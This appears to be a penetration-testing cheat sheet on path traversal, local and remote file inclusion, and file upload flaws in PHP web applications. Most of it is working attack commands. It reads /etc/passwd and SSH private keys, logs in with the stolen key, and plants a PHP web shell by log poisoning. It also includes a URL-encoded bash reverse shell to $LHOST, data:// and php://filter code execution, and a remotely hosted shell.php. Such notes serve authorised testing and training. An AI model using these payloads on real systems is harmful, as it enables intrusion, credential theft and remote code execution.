Path Traversal & File Inclusion
References:
- https://owasp.org/www-community/attacks/Path_Traversal
- https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/05-Authorization_Testing/01-Testing_Directory_Traversal_File_Include.md
Identifying Path Traversal
Look for URL parameters that reference files:
https://example.com/cms/login.php?language=en.html
Key observations:
login.phptells us the server uses PHPlanguage=en.htmlis a file reference we may be able to manipulate/cms/suggests the app runs in a subdirectory of the web root
Discovery Checklist
- Hover over all buttons and check URLs
- Check all links
- Navigate to all accessible pages
- Examine target source code for file references
Fuzzing for the Vulnerability
Automate traversal testing with a payload list (handles depth, encoding, and null-byte variants):
ffuf -u "http://$TARGET/index.php?page=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fs <baseline-size>
-fs <baseline-size> filters the normal-response size so only successful reads stand out.
Linux Path Traversal
Default web root: /var/www/html
Test with a known file:
curl http://$TARGET/index.php?page=../../../../../../../../../etc/passwd
Retrieve SSH keys:
curl http://$TARGET/index.php?page=../../../../../../../../../home/offsec/.ssh/id_rsa
If you get a private key, set permissions to 400 before using: chmod 400 stolen_key
ssh -i stolen_key -p 22 $USER@$TARGET
Windows Path Traversal
Test with a universally readable file:
curl http://$TARGET/index.php?page=C:\Windows\System32\drivers\etc\hosts
Read application logs:
curl http://$TARGET/index.php?page=C:\xampp\apache\logs\access.log
Local File Inclusion (LFI)
LFI takes path traversal further — if you can include a file that contains PHP code, the server will execute it.
Log Poisoning
If you can read the Apache access log via path traversal, inject PHP into the User-Agent header:
- Use Burp Repeater to send a request with a malicious User-Agent:
User-Agent: Mozilla/5.0 <?php echo system($_GET['cmd']); ?>
- Then trigger execution by including the log file with a command:
curl "http://$TARGET/index.php?page=../../../../var/log/apache2/access.log&cmd=id"
- For a reverse shell (URL-encoded):
# Raw: bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"
curl "http://$TARGET/index.php?page=../../../../var/log/apache2/access.log&cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F$LHOST%2F$LPORT%200%3E%261%22"
The bash -c wrapper ensures the code is executed using bash instead of the default sh shell, which may not support the redirect syntax.
Other Poisoning Targets
When Apache logs aren't readable, the same "write PHP somewhere, then include it" idea works against other attacker-controlled files:
- PHP session files — set a session variable you control (e.g. a
usernamefield), then include/var/lib/php/sessions/sess_<PHPSESSID>(yourPHPSESSIDcookie value). /proc/self/environ— on older setups, inject PHP via theUser-Agentheader, then include/proc/self/environ.- Mail logs —
/var/log/mail.logif you can send mail to a crafted address. - SSH auth log —
/var/log/auth.log, poisoned by attempting SSH login with a PHP payload as the username.
PHP Wrappers
Reference: https://www.php.net/manual/en/wrappers.php
php://filter — Read Source Code
When including a PHP file directly shows incomplete output (because PHP executes it), use base64 encoding to extract the raw source:
curl "http://$TARGET/index.php?page=php://filter/convert.base64-encode/resource=admin.php"
Decode the output:
echo "<base64-output>" | base64 -d
When data:///php://input are disabled (allow_url_include=Off), the PHP filter chain technique can still achieve RCE using only php://filter by chaining encodings to generate arbitrary bytes. Generate a chain with php_filter_chain_generator:
python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'
data:// — Execute Code
Inject and execute PHP directly:
curl "http://$TARGET/index.php?page=data://text/plain,<?php%20echo%20system('ls');?>"
With base64 encoding for complex payloads:
echo -n '<?php echo system($_GET["cmd"]);?>' | base64
curl "http://$TARGET/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=id"
If a command has spaces, use URL encoding. %20 represents a space.
Remote File Inclusion (RFI)
If the include function accepts a URL (requires allow_url_include=On in PHP, off by default since 5.2), you can host the payload yourself and have the server fetch and execute it:
# Host a PHP shell on your machine
echo '<?php system($_GET["cmd"]); ?>' > shell.php
python3 -m http.server 80
# Include it remotely
curl "http://$TARGET/index.php?page=http://$LHOST/shell.php&cmd=id"
An ftp:// or SMB (\\$LHOST\share) source can work when outbound HTTP is filtered. RFI is rarer than LFI on modern PHP but trivial to exploit when present.
File Upload Vulnerabilities
Two categories:
- Direct execution — upload a file that the web server will execute (e.g., PHP script on a PHP-enabled server)
- Combined with another vuln — combine file upload with directory traversal to overwrite files like
authorized_keys, or combine with XXE/XSS